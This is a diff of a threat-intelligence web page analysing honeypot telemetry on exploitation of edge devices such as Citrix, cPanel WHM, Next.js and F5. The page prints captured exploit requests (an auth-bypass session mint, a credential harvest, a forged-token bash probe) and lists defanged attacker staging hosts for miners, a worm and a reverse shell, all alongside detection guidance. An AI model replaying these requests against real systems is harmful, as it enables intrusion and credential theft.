overflow: hidden; max-height: 0;
transition: max-height 0.2s ease-out;
}
.nav-subnav.open { max-height: 400px; }
.nav-subnav a {
padding-left: 1.6rem; font-size: .67rem;
}
@media (max-width: 900px) {
.trends-layout { flex-direction: column; padding: 2rem 1rem 4rem; }
.trends-sidebar {
@@ -210,6 +248,8 @@ permalink: /trends/edge-exploits/
border-top: 1px solid var(--border); padding: .5rem 0; z-index: 100;
}
.trends-sidebar ul { display: flex; gap: 0; justify-content: space-around; width: 100%; }
.nav-subnav { display: none; }
.nav-group-toggle { display: none; }
.trends-sidebar a {
border-left: none; border-bottom: 2px solid transparent;
padding: .3rem .5rem; font-size: .6rem; text-align: center;
@@ -224,7 +264,6 @@ permalink: /trends/edge-exploits/
.chain-step:first-child { border-radius: 6px 6px 0 0; }
.chain-step:last-child { border-radius: 0 0 6px 6px; }
.bar-label { width: 130px; font-size: 0.68rem; }
.stats-strip { grid-template-columns: repeat(2, 1fr); }
}
</style>
@@ -234,13 +273,23 @@ permalink: /trends/edge-exploits/
<li><a href="#overview" class="active">Overview</a></li>
<li><a href="#framework">Framework</a></li>
<li><a href="#volume">Volume</a></li>
<li><a href="#targets">Targets</a></li>
<li><a href="#sdwan">SD-WAN</a></li>
<li><a href="#citrixbleed">CitrixBleed</a></li>
<li><a href="#sap">SAP</a></li>
<li><a href="#sonicwall">SonicWall</a></li>
<li><a href="#fortiweb">FortiWeb</a></li>
<li><a href="#ivanti">Ivanti</a></li>
<li class="nav-group">
<div class="nav-group-header">
<button class="nav-group-toggle" data-target="nav-targets-sub" aria-expanded="false" aria-label="Toggle targets">›</button>
<a href="#targets">Targets</a>
</div>
<ul id="nav-targets-sub" class="nav-subnav">
<li><a href="#sdwan">SD-WAN</a></li>
<li><a href="#citrixbleed">CitrixBleed</a></li>
<li><a href="#sap">SAP</a></li>
<li><a href="#sonicwall">SonicWall</a></li>
<li><a href="#fortiweb">FortiWeb</a></li>
<li><a href="#ivanti">Ivanti</a></li>
<li><a href="#cpanel">cPanel</a></li>
<li><a href="#nextjs">Next.js</a></li>
<li><a href="#f5">F5</a></li>
</ul>
</li>
<li><a href="#scanners">Scanners</a></li>
<li><a href="#staging">Staging</a></li>
<li><a href="#detections">Detections</a></li>
@@ -251,18 +300,17 @@ permalink: /trends/edge-exploits/
<h1>Edge Device Exploit Trends: Honeypot Analysis</h1>
<p class="ep-meta">
Data: <a href="https://defusedcyber.com/">Defused Cyber</a> honeypot telemetry (25 decoy types)
&nbsp;·&nbsp; Period: Mar 14 – Apr 13, 2026
&nbsp;·&nbsp; 15,001 exploit attempts
&nbsp;·&nbsp; Generated: 2026-04-13
&nbsp;·&nbsp; Period: Mar 14 – May 19, 2026 (two export windows, 6-day gap Apr 14–18)
&nbsp;·&nbsp; 25,420 exploit attempts &nbsp;·&nbsp; Generated: 2026-05-19
</p>
<div class="stats-strip">
<div class="stat-cell"><div class="num">15.0k</div><div class="label">Exploit attempts</div></div>
<div class="stat-cell"><div class="num">25</div><div class="label">Decoy types</div></div>
<div class="stat-cell"><div class="num">40+</div><div class="label">CVEs targeted</div></div>
<div class="stat-cell"><div class="num">1,260</div><div class="label">SD-WAN chain</div></div>
<div class="stat-cell"><div class="num">8,112</div><div class="label">CitrixBleed 2</div></div>
<div class="stat-cell"><div class="num">514</div><div class="label">Shell eval payloads</div></div>
<div class="stat-cell"><div class="num">25.4k</div><div class="label">Exploit attempts</div></div>
<div class="stat-cell"><div class="num">25+</div><div class="label">Decoy types</div></div>
<div class="stat-cell"><div class="num">50+</div><div class="label">CVEs targeted</div></div>
<div class="stat-cell"><div class="num">11,145</div><div class="label">CitrixBleed 2</div></div>
<div class="stat-cell"><div class="num">2,653</div><div class="label">Next.js RCE (new)</div></div>
<div class="stat-cell"><div class="num">1,515</div><div class="label">cPanel WHM chain</div></div>
</div>
<!-- ===== CHOKEPOINT FRAMEWORK ===== -->
@@ -309,7 +357,7 @@ permalink: /trends/edge-exploits/
<div class="chart-container">
<canvas id="dailyChart" height="200"></canvas>
<div class="chart-label">Daily exploit attempts. Mar 14 to Apr 13, 2026</div>
<div class="chart-label">Daily exploit attempts. Mar 14 – May 19, 2026 (gap Apr 14–18 = no export data; May 19* = export cutoff artifact)</div>
</div>
<div class="callout callout-red">
@@ -318,21 +366,19 @@ permalink: /trends/edge-exploits/
<!-- ===== TOP TARGETS ===== -->
<h2 id="targets">Target Distribution: What Adversaries Are Hunting</h2>
<p>Not every decoy gets the same attention. Citrix and SD-WAN absorb 74% of all traffic, and for different reasons.</p>
<p>Combined across both observation windows. Citrix still dominates at 47% of all traffic, but the composition has shifted: React Server (CVE-2025-55182) and cPanel/WHM (CVE-2026-41940) are brand-new targets that didn't appear in the first window at all. FortiWeb doubled. SD-WAN and SAP burned hot then cooled — classic burst-campaign behavior.</p>
<div class="bar-chart">
<div class="bar-row"><div class="bar-label">Citrix NetScaler</div><div class="bar-track"><div class="bar-fill" style="width:100%;background:var(--critical)"><span>8,662</span></div></div></div>
<div class="bar-row"><div class="bar-label">Cisco SD-WAN</div><div class="bar-track"><div class="bar-fill" style="width:14.5%;background:var(--accent)"><span>1,260</span></div></div></div>
<div class="bar-row"><div class="bar-label">SAP Netweaver</div><div class="bar-track"><div class="bar-fill" style="width:13.6%;background:var(--high)"><span>1,179</span></div></div></div>
<div class="bar-row"><div class="bar-label">FortiWeb</div><div class="bar-track"><div class="bar-fill" style="width:11.9%;background:#8b5cf6"><span>1,027</span></div></div></div>
<div class="bar-row"><div class="bar-label">React Server</div><div class="bar-track"><div class="bar-fill" style="width:9.4%;background:var(--medium)"><span>818</span></div></div></div>
<div class="bar-row"><div class="bar-label">Ivanti Connect Secure</div><div class="bar-track"><div class="bar-fill" style="width:8.5%;background:var(--link)"><span>734</span></div></div></div>
<div class="bar-row"><div class="bar-label">SonicWall SMA</div><div class="bar-track"><div class="bar-fill" style="width:5.5%;background:var(--link)"><span>478</span></div></div></div>
<div class="bar-row"><div class="bar-label">FortiClient EMS</div><div class="bar-track"><div class="bar-fill" style="width:3.4%;background:#6b7280"><span>291</span></div></div></div>
<div class="bar-row"><div class="bar-label">Citrix NetScaler</div><div class="bar-track"><div class="bar-fill" style="width:100%;background:var(--critical)"><span>11,995</span></div></div></div>
<div class="bar-row"><div class="bar-label">React Server</div><div class="bar-track"><div class="bar-fill" style="width:22.4%;background:var(--accent)"><span>2,683</span></div></div></div>
<div class="bar-row"><div class="bar-label">FortiWeb</div><div class="bar-track"><div class="bar-fill" style="width:17.0%;background:#8b5cf6"><span>2,037</span></div></div></div>
<div class="bar-row"><div class="bar-label">cPanel WHM</div><div class="bar-track"><div class="bar-fill" style="width:12.6%;background:var(--high)"><span>1,515</span></div></div></div>
<div class="bar-row"><div class="bar-label">Cisco SD-WAN</div><div class="bar-track"><div class="bar-fill" style="width:11.5%;background:var(--accent)"><span>1,383</span></div></div></div>
<div class="bar-row"><div class="bar-label">SAP Netweaver</div><div class="bar-track"><div class="bar-fill" style="width:11.2%;background:var(--high)"><span>1,341</span></div></div></div>
<div class="bar-row"><div class="bar-label">Ivanti Connect Secure</div><div class="bar-track"><div class="bar-fill" style="width:8.6%;background:var(--link)"><span>1,035</span></div></div></div>
<div class="bar-row"><div class="bar-label">SonicWall SMA</div><div class="bar-track"><div class="bar-fill" style="width:7.0%;background:var(--link)"><span>834</span></div></div></div>
</div>
<p>Citrix dominates at 8,662 hits, 57.7% of all traffic, driven by a concentrated cluster of IPs running CitrixBleed 2 continuously. SAP jumped to third this window (was barely visible before). A 72-hour burst Apr 9–11 on a 4-year-old CVSS 10.0 vuln accounted for most of it. SonicWall has the most distributed attacker base at 284 unique IPs, suggesting toolkit proliferation rather than a single operator campaign.</p>
<!-- ===== CVE-2026-20127 ===== -->
<h2 id="sdwan">CVE-2026-20127: Full Kill Chain in Honeypot Data</h2>
<p>CVSS 10.0 authentication bypass in Cisco Catalyst SD-WAN. Disclosed Feb 25, 2026. CISA KEV with 24-hour remediation. We captured the full attack chain: 137 IPs progressing from recon through auth bypass, webshell upload, and cryptominer deployment.</p>
@@ -509,6 +555,70 @@ GET /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: application/json, text/javascript, */*; q=0.01</div>
<!-- ===== CVE-2026-41940: cPanel WHM ===== -->
<h2 id="cpanel">CVE-2026-41940: cPanel WHM Authentication Bypass (3-Stage Chain)</h2>
<p>1,515 hits on cPanel/WHM decoys across a 3-stage exploitation chain. Stage 1 mints a session token via an intentionally wrong password — the bug causes the server to issue a valid session cookie despite authentication failure. Stage 2 uses that minted session to call <code>/json-api/listaccts</code>, harvesting all hosted account credentials. Stage 3 uses the cache propagation gadget at <code>/scripts2/listaccts</code> to persist access across session expiry. 164 unique IPs hit Stage 1; only 13 progressed to Stage 2, confirming most operators are scanning rather than doing full account takeover.</p>
<table class="data-table">
<thead><tr><th>Stage</th><th>Alert</th><th>Hits</th><th>Unique IPs</th><th>Key Artifact</th></tr></thead>
<tbody>
<tr><td><span class="tag tier-1">AUTH</span></td><td>CVE-2026-41940 – Preauth Session Mint</td><td class="count">1,223</td><td>164</td><td><code>POST /login/?login_only=1</code> with wrong credentials via <code>Go-http-client</code></td></tr>
<tr><td><span class="tag tier-1">HARVEST</span></td><td>CVE-2026-41940 – Authenticated json-api Call</td><td class="count">189</td><td>13</td><td><code>GET /cpsess.../json-api/listaccts</code> with minted session cookie</td></tr>
<tr><td><span class="tag tier-na">PERSIST</span></td><td>CVE-2026-41940 – Cache Propagation Gadget</td><td class="count">103</td><td>16</td><td><code>GET /scripts2/listaccts</code> or <code>/cpsess.../scripts2/listaccts</code></td></tr>
</tbody>
</table>
<div class="code-block"><span class="comment"># Stage 1: Session mint via deliberate auth failure</span>
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
User-Agent: Go-http-client/1.1
Content-Type: application/x-www-form-urlencoded
pass=wrong&user=root
<span class="comment"># Stage 2: Account credential harvest using minted session</span>
GET /cpsess9999999999/json-api/listaccts HTTP/1.1
Cookie: whostmgrsession=%3AO8ocYr1usaqivq1j
Host: target:2087</div>
<div class="callout callout-red">
<strong>The detection window is Stage 1.</strong> A POST to <code>/login/?login_only=1</code> returning a session token despite a failed password is the invariant. Legitimate WHM logins don't use <code>login_only=1</code> with intentionally wrong credentials. Any external IP hitting this endpoint is malicious. Log WHM auth endpoints to your SIEM and alert on <code>login_only=1</code> from non-management IP ranges.
</div>
<!-- ===== CVE-2025-55182: Next.js RCE ===== -->
<h2 id="nextjs">CVE-2025-55182: Next.js Server Actions RCE</h2>
<p>2,653 hits on React Server decoys from 292 unique IPs — the most distributed new campaign in this window. The exploit sends a <code>POST /</code> with a <code>Next-Action</code> header and a multipart body to trigger unauthenticated remote code execution in Next.js Server Actions. <strong>97% of requests use <code>Go-http-client/1.1</code></strong>, making User-Agent matching a near-reliable detection layer while it lasts. The extreme distribution (292 IPs for 2,653 hits) suggests a public PoC driving broad opportunistic scanning rather than a single operator campaign.</p>
<div class="code-block"><span class="comment"># CVE-2025-55182: Next.js Server Actions RCE payload</span>
POST / HTTP/1.1
Host: target
User-Agent: Go-http-client/1.1
Content-Type: multipart/form-data; boundary=ebf1db96fc37e2dc50cc5acaeef3e83a4555dfd6c2d857640316a40a1b31
Next-Action: x
Accept-Encoding: gzip
--ebf1db96fc37e2dc50cc5acaeef3e83a4555dfd6c2d857640316a40a1b31
Content-Disposition: form-data; name="ACTION_ID"
[RCE payload follows in body]</div>
<div class="callout callout-orange">
<strong>If you're running Next.js 14+ with Server Actions enabled, this is your fire drill.</strong> 292 unique IPs scanning in a single month means any unpatched instance is already being probed. The detection signature is highly specific: <code>POST /</code> with <code>Next-Action</code> header from an external IP, <code>Content-Type: multipart/form-data</code>, <code>User-Agent: Go-http-client</code>. Near-zero false positive rate on that combination. Patch first; detect second.
</div>
<h2 id="f5">CVE-2022-1388: F5 iControl REST Auth Bypass Resurfaces</h2>
<p>314 hits across 10 unique IPs targeting F5 Big-IP decoys via the 2022 iControl REST authentication bypass. All requests use a static forged <code>X-F5-Auth-Token</code> header (<code>ea5641ae55012ddb91da9978663575</code>) and hit <code>/mgmt/tm/util/bash</code> to probe for command execution access. This CVE is 3 years old; the static token is a shared PoC artifact, which means these 10 operators are running the same public exploit tool without modification.</p>
<div class="code-block"><span class="comment"># CVE-2022-1388: forged auth token + bash exec probe</span>
POST /mgmt/tm/util/bash HTTP/1.1
X-F5-Auth-Token: ea5641ae55012ddb91da9978663575
Content-Type: application/json
{"command": "run", "utilCmdArgs": "-c \"exit \""}</div>
<div class="callout callout-blue">
<strong>The static token is the detection.</strong> <code>X-F5-Auth-Token: ea5641ae55012ddb91da9978663575</code> is the shared PoC value. Any request to <code>/mgmt/tm/util/bash</code> from an external IP should alert regardless of the token. Any request with this specific token value is confirmed exploit tooling.
</div>
<!-- ===== SCANNER FINGERPRINTS ===== -->
<h2 id="scanners">Attacker Tooling: Scanner & Automation Fingerprints</h2>
<p>38.7% of traffic self-identifies via User-Agent. That's the floor. The other 61% spoof browser UAs but behave like bots.</p>
@@ -526,31 +636,140 @@ Accept: application/json, text/javascript, */*; q=0.01</div>
<!-- ===== MULTI-DEVICE OPERATORS ===== -->
<h3>Multi-Device Operators: IPs Scanning Across Decoy Types</h3>
<!-- Run: python scripts/enrich_staging_domains.py --hosts "47.253.5.130,144.31.4.70,82.165.66.87,103.98.152.233,176.65.139.31" to populate ASN/geo detail rows -->
<table class="infra-table">
<thead><tr><th>IP</th><th>Hits</th><th>Products Targeted</th><th>Significance</th></tr></thead>
<thead><tr><th></th><th>IP</th><th>Hits</th><th>Products Targeted</th><th>Significance</th></tr></thead>
<tbody>
<tr><td><code>47[.]253[.]5[.]130</code></td><td>13</td><td>Cisco SD-WAN, Citrix, FortiClient, Ivanti, SonicWall</td><td><span class="tag tag-scanner">MULTI-EXPLOIT</span> Broadest coverage</td></tr>
<tr><td><code>144[.]31[.]4[.]70</code></td><td>53</td><td>Citrix, FortiGate, FortiWeb, Palo Alto, SolarWinds</td><td><span class="tag tag-scanner">MULTI-EXPLOIT</span> Fortinet-heavy</td></tr>
<tr><td><code>82[.]165[.]66[.]87</code></td><td>23</td><td>Citrix, FortiClient, Ivanti, SonicWall</td><td><span class="tag tag-scanner">MULTI-EXPLOIT</span> Shell eval across all</td></tr>
<tr><td><code>103[.]98[.]152[.]233</code></td><td>327</td><td>Cisco SD-WAN (primary)</td><td><span class="tag tag-miner">MINER OPS</span> kernel.sh staging host</td></tr>
<tr><td><code>176[.]65[.]139[.]31</code></td><td>336</td><td>Cisco SD-WAN (primary)</td><td><span class="tag tag-miner">MINER OPS</span> Full chain: auth→upload→mine</td></tr>
<tr class="cg-infra-row">
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-op-1" aria-label="Show details">›</button></td>
<td><code>47[.]253[.]5[.]130</code></td><td>13</td><td>Cisco SD-WAN, Citrix, FortiClient, Ivanti, SonicWall</td><td><span class="tag tag-scanner">MULTI-EXPLOIT</span> Broadest coverage</td>
</tr>
<tr id="ep-op-1" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS45102 Alibaba (US) Technology Co., Ltd.</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">Hong Kong · Hong Kong</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-unk">Unknown</span></span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
</div></td></tr>
<tr class="cg-infra-row">
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-op-2" aria-label="Show details">›</button></td>
<td><code>144[.]31[.]4[.]70</code></td><td>53</td><td>Citrix, FortiGate, FortiWeb, Palo Alto, SolarWinds</td><td><span class="tag tag-scanner">MULTI-EXPLOIT</span> Fortinet-heavy</td>
</tr>
<tr id="ep-op-2" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS215730 H2NEXUS LTD</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">Poland · Warsaw</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-unk">Unknown</span></span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
</div></td></tr>
<tr class="cg-infra-row">
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-op-3" aria-label="Show details">›</button></td>
<td><code>82[.]165[.]66[.]87</code></td><td>23</td><td>Citrix, FortiClient, Ivanti, SonicWall</td><td><span class="tag tag-scanner">MULTI-EXPLOIT</span> Shell eval across all</td>
</tr>
<tr id="ep-op-3" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS6724 STRATO AG</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">Germany · Berlin</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-unk">Unknown</span></span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
</div></td></tr>
<tr class="cg-infra-row">
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-op-4" aria-label="Show details">›</button></td>
<td><code>103[.]98[.]152[.]233</code></td><td>327</td><td>Cisco SD-WAN (primary)</td><td><span class="tag tag-miner">MINER OPS</span> kernel.sh staging host</td>
</tr>
<tr id="ep-op-4" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS131374 HQG Technology Solutions Joint Stock Company</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">Vietnam · Ho Chi Minh City</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-bp">Bulletproof</span> Vietnamese VPS; same host as staging entry ep-st-1</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
</div></td></tr>
<tr class="cg-infra-row">
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-op-5" aria-label="Show details">›</button></td>
<td><code>176[.]65[.]139[.]31</code></td><td>336</td><td>Cisco SD-WAN (primary)</td><td><span class="tag tag-miner">MINER OPS</span> Full chain: auth→upload→mine</td>
</tr>
<tr id="ep-op-5" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS214472 Offshore LC</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">The Netherlands · Kerkrade</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-bp">Bulletproof</span> Offshore-branded Dutch VPS; full kill chain operator</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
</div></td></tr>
</tbody>
</table>
<!-- ===== STAGING INFRA ===== -->
<h2 id="staging">Staging Infrastructure</h2>
<p>Payload staging URLs extracted from webshell commands and shell eval payloads.</p>
<!-- Run: python scripts/enrich_staging_domains.py --hosts "103.98.152.233,31.57.216.121,83.142.209.47,miso88.tech,213.139.77.117,5.255.120.46" to populate ASN/geo detail rows -->
<table class="infra-table">
<thead><tr><th>URL / IP</th><th>Payloads</th><th>Type</th><th>Blind Spot</th></tr></thead>
<thead><tr><th></th><th>URL / IP</th><th>Payloads</th><th>Type</th><th>Blind Spot</th></tr></thead>
<tbody>
<tr><td><code>103[.]98[.]152[.]233/wp_plugins/kernel.sh</code></td><td>386</td><td><span class="tag tag-miner">MINER</span></td><td>Path mimics WordPress plugin directory</td></tr>
<tr><td><code>31[.]57[.]216[.]121/sh</code></td><td>687+</td><td><span class="tag tag-worm">WORM</span></td><td>Self-replicating <code>apache.selfrep</code> payload</td></tr>
<tr><td><code>raw[.]githubusercontent[.]com/.../setup_moneroocean_miner.sh</code></td><td>37</td><td><span class="tag tag-miner">MINER</span></td><td>Legitimate GitHub hosting. Cannot block domain</td></tr>
<tr><td><code>83[.]142[.]209[.]47</code></td><td>25</td><td><span class="tag tag-botnet">BOTNET</span></td><td>Serves <code>nullnet_bash.sh</code>. Botnet enrollment</td></tr>
<tr><td><code>miso88[.]tech/wp-config/x</code></td><td>10</td><td><span class="tag tag-botnet">BOTNET</span></td><td>Compromised domain, WP config path</td></tr>
<tr><td><code>213[.]139[.]77[.]117:4433</code></td><td>10</td><td><span class="tag tag-apt">C2 CHECK</span></td><td>Port 4433 callback. Connectivity test before C2</td></tr>
<tr><td><code>5[.]255[.]120[.]46:5555</code></td><td>5</td><td><span class="tag tag-apt">REVERSE SHELL</span></td><td>Ivanti EPMM bash reverse shell target (Apr 3)</td></tr>
<tr class="cg-infra-row">
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-st-1" aria-label="Show details">›</button></td>
<td><code>103[.]98[.]152[.]233/wp_plugins/kernel.sh</code></td><td>386</td><td><span class="tag tag-miner">MINER</span></td><td>Path mimics WordPress plugin directory</td>
</tr>
<tr id="ep-st-1" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS131374 HQG Technology Solutions Joint Stock Company</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">Vietnam · Ho Chi Minh City</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-bp">Bulletproof</span> Vietnamese VPS, primary cryptominer staging host</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
</div></td></tr>
<tr class="cg-infra-row">
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-st-2" aria-label="Show details">›</button></td>
<td><code>31[.]57[.]216[.]121/sh</code></td><td>687+</td><td><span class="tag tag-worm">WORM</span></td><td>Self-replicating <code>apache.selfrep</code> payload</td>
</tr>
<tr id="ep-st-2" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS197769 VPS Dedicated LLC</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">Slovenia · Ljubljana</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-bp">Bulletproof</span> Abuse-tolerant VPS, no takedown response in 31-day observation window</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
</div></td></tr>
<tr class="cg-infra-row">
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-st-3" aria-label="Show details">›</button></td>
<td><code>raw[.]githubusercontent[.]com/.../setup_moneroocean_miner.sh</code></td><td>37</td><td><span class="tag tag-miner">MINER</span></td><td>Legitimate GitHub hosting. Cannot block domain</td>
</tr>
<tr id="ep-st-3" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS54113 Fastly, Inc.</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">United States · San Francisco</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-cdn">CDN</span> GitHub / Fastly CDN. Cannot block by IP or domain.</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
</div></td></tr>
<tr class="cg-infra-row">
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-st-4" aria-label="Show details">›</button></td>
<td><code>83[.]142[.]209[.]47</code></td><td>25</td><td><span class="tag tag-botnet">BOTNET</span></td><td>Serves <code>nullnet_bash.sh</code>. Botnet enrollment</td>
</tr>
<tr id="ep-st-4" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS205759 Ghosty Networks LLC</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">Luxembourg · Luxembourg</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-bp">Bulletproof</span> Abuse-tolerant Luxembourg VPS, serves <code>nullnet_bash.sh</code> botnet payload</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
</div></td></tr>
<tr class="cg-infra-row">
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-st-5" aria-label="Show details">›</button></td>
<td><code>miso88[.]tech/wp-config/x</code></td><td>10</td><td><span class="tag tag-botnet">BOTNET</span></td><td>Compromised domain, WP config path</td>
</tr>
<tr id="ep-st-5" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS13335 Cloudflare, Inc.</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">United States · San Francisco (Cloudflare proxy — origin hidden)</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-comp">Compromised</span> Legitimate site abused as staging host; origin IP masked by Cloudflare</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-unknown">Unknown</span></span></div>
</div></td></tr>
<tr class="cg-infra-row">
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-st-6" aria-label="Show details">›</button></td>
<td><code>213[.]139[.]77[.]117:4433</code></td><td>10</td><td><span class="tag tag-apt">C2 CHECK</span></td><td>Port 4433 callback. Connectivity test before C2</td>
</tr>
<tr id="ep-st-6" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS398256 Ultahost, Inc.</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">United States · New York City</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-bp">Bulletproof</span> Abuse-tolerant VPS; port 4433 C2 callback</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
</div></td></tr>
<tr class="cg-infra-row">
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-st-7" aria-label="Show details">›</button></td>
<td><code>5[.]255[.]120[.]46:5555</code></td><td>5</td><td><span class="tag tag-apt">REVERSE SHELL</span></td><td>Ivanti EPMM bash reverse shell target (Apr 3)</td>
</tr>
<tr id="ep-st-7" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS60404 The Infrastructure Group B.V.</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">The Netherlands · Dronten</span></div>
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-bp">Bulletproof</span> Abuse-tolerant Dutch VPS; reverse shell listener on port 5555</span></div>
